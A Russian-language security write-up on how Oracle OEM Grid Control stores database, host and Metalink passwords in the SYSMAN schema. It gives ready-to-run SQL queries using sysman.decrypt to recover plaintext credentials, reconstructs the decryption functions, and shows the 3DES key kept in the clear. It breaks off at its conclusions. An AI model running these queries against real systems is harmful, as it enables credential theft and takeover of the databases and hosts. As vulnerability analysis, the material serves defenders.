Пароли и OEM Grid Control
OEM Grid Control - основное средство, предлагаемое корпорацией для мониторинга и управления базами данных Oracle. Этот инструмент способен мониторить и управлять не только БД, но и OAS, хосты и сети между всем этим, способен подключаться к металинку за новым ПО. OEM Grid Control (OEMGC) хранит
- пароли к базам данных (системные пользователи, наделенные наиболее сильными привилегиями),
- пароли к хостам (чтобы подключаться, когда БД не стартована)
- логин и пароль на металинк.
Злоумышленник, получивший доступ к этому средству, автоматически получит информацию и средство управления всеми БД, листенерами, OAS'ами, хостами и доступом на металинк. Таким образом, OEM Grid Control - один из наиболее интересных для злоумышленника участков и наиболее сильная болевая точка ИС на основе Oracle.
OEMGC'у соответствует схема SYSMAN. Пароли хранятся в таблицах
- MGMT_CREDENTIALS2,
- MGMT_ARU_CREDENTIALS (металинк)
- MGMT_VIEW_USER_CREDENTIALS.
Вообще-то, таблиц больше, чем три:
select object_name,object_type from dba_objects where object_name like '%CREDENTIAL%' and owner = 'SYSMAN'
OBJECT_NAME OBJECT_TYPE ----------------------------------- ------------ EM_CREDENTIAL PACKAGE MGMT_CREDENTIAL PACKAGE MGMT_ARU_CREDENTIALS TABLE MGMT_COLLECTION_CREDENTIALS TABLE MGMT_CONTAINER_CREDENTIALS TABLE MGMT_CREDENTIALS TABLE MGMT_CREDENTIALS2 TABLE MGMT_CREDENTIAL_SETS TABLE MGMT_CREDENTIAL_SET_COLUMNS TABLE MGMT_CREDENTIAL_TYPES TABLE MGMT_CREDENTIAL_TYPE_COLUMNS TABLE MGMT_CREDENTIAL_TYPE_COL_VALS TABLE MGMT_CREDENTIAL_TYPE_REF TABLE MGMT_ENTERPRISE_CREDENTIALS TABLE MGMT_HOST_CREDENTIALS TABLE MGMT_JOB_CREDENTIALS TABLE MGMT_TARGET_CREDENTIALS TABLE MGMT_UPDATE_CREDENTIALS_DATA TABLE MGMT_VIEW_USER_CREDENTIALS TABLE
Любой пользователь с правами DBA имеет доступ к этой информации. Узнать пароли можно так:
- Логин + пароль для БД, ОС и листенера:
select credential_set_column, sysman.decrypt(credential_value) from sysman.MGMT_CREDENTIALS2
- Логин + Пароль на металинк:
select sysman.decrypt(aru_username),sysman.decrypt(aru_password) from sysman.MGMT_ARU_CREDENTIALS
- 15-байтовое случайное число - пароль пользователя MGMT_VIEW, который используется для работы OEMGC, учетная запись создается как expired & locked: select view_username,sysman.decrypt(view_password) from sysman.MGMT_VIEW_USER_CREDENTIALS
- ключ хранится в БД в открытом виде в таблице MGMT_EMCRYPTO_SEED.
- для шифрования используются общедоступные функции encrypt/decrypt.
- кто имеет доступ к словарю БД, тот имеет большой доступ ко всему остальному.
- на три таблицы можно установить аудит.
Шифрование/расшифрование этих паролей производится командами sysman.encrypt() и sysman.decrypt(). В БД эти функции присутствуют в виде wrap-кода, но любой желающий может восстановить их текст с помощью трассировки. Рассмотрим их подробнее:
FUNCTION ENCRYPT( PLAIN_TEXT IN VARCHAR2 ) RETURN VARCHAR2 IS CIPHER_TEXT RAW( 32767 ); BEGIN CIPHER_TEXT := DBMS_CRYPTO.ENCRYPT( SRC=>UTL_I18N.STRING_TO_RAW( PLAIN_TEXT, 'AL32UTF8' ), TYP=>DBMS_CRYPTO.ENCRYPT_3DES + DBMS_CRYPTO.CHAIN_CBC + DBMS_CRYPTO.PAD_PKCS5, KEY=>GETEMKEY() ); RETURN RAWTOHEX( CIPHER_TEXT ); END;
FUNCTION DECRYPT( CIPHER_TEXT IN VARCHAR2 ) RETURN VARCHAR2 IS RAW_TEXT RAW( 32767 ); BEGIN RAW_TEXT := DBMS_CRYPTO.DECRYPT( SRC=>HEXTORAW( CIPHER_TEXT ), TYP=>DBMS_CRYPTO.ENCRYPT_3DES + DBMS_CRYPTO.CHAIN_CBC + DBMS_CRYPTO.PAD_PKCS5, KEY=>GETEMKEY() ); RETURN UTL_I18N.RAW_TO_CHAR( RAW_TEXT, 'AL32UTF8' ); END;
Функции sysman.encrypt() и sysman.decrypt() используют алгоритм 3DES в режиме СВС с дополнением строки до требуемой длины блока по методу PAD_PKCS5.
Принципиальным моментом в encrypt/decrypt является функция вызова ключа GETEMKEY(). Выглядит она примерно так:
FUNCTION GETEMKEY RETURN RAW IS DES_KEY RAW( 64 ) := NULL; BEGIN SELECT SEED INTO DES_KEY FROM MGMT_EMCRYPTO_SEED WHERE ROWNUM = 1; RETURN ( DES_KEY ); END;
Так какой это ключ? Вот какой:
SELECT SEED FROM MGMT_EMCRYPTO_SEED WHERE ROWNUM = 1;
Таблица MGMT_EMCRYPTO_SEED состоит из одного столбца и одной строки и содержит, по-видимому, случайное для каждой БД число. Таким образом, ключ является константой.
SQL >desc sysman.MGMT_EMCRYPTO_SEED Name Null? Type ----------------------------------------- -------- ------------ SEED RAW(64)
SQL >select * from sysman.MGMT_EMCRYPTO_SEED; SEED ---------------------------------------------------------------- 1FCFB6FBD7E14B384C3EDB7B8694EA891FCFB6FBD7E14B384C3EDB7B8694EA89 1 row selected.
Выводы: